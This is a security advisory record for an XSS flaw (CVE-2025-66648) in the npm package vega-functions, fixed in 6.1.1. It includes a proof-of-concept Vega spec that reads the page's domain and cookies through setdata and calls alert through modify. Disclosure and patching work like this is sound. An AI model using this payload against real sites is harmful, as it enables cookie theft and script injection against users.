GHSA-m9rg-mr6g-75gm

Source

https://github.com/advisories/GHSA-m9rg-mr6g-75gm

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-m9rg-mr6g-75gm/GHSA-m9rg-mr6g-75gm.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-m9rg-mr6g-75gm

Aliases

CVE-2025-66648

Published

2026-01-05T22:58:07Z

Modified

2026-02-03T03:13:59.088024Z

Severity

7.2 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N CVSS Calculator

Summary

`vega-functions` vulnerable to Cross-site Scripting via `setdata` function

Details

Impact

For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).

Patches

Fixed in vega-functions 6.1.1

Workarounds

There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Exploit Proof of Concept

Vega's expression modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:

{
  "$schema": "https://vega.github.io/schema/vega/v6.json",
  "data": [
    {
      "name": "table",
      "values": [
        {"category": "A", "amount": 28}
      ]
    }
  ],
  "signals": [
    {
      "name": "tooltip",
      "value": {},
      "on": [
        {"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"},
        {"events": "rect:pointerout",  "update": "{}"}
      ]
    }
  ]
}

Database specific

{
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-79"
    ],
    "nvd_published_at": "2026-01-05T22:15:51Z",
    "github_reviewed_at": "2026-01-05T22:58:07Z",
    "severity": "HIGH"
}

References

Affected packages

npm / vega-functions

Package

Name: vega-functions; View open source insights on deps.dev
Purl: pkg:npm/vega-functions

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

6.1.1

Database specific

last_known_affected_version_range

"<= 6.1.0"

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-m9rg-mr6g-75gm/GHSA-m9rg-mr6g-75gm.json"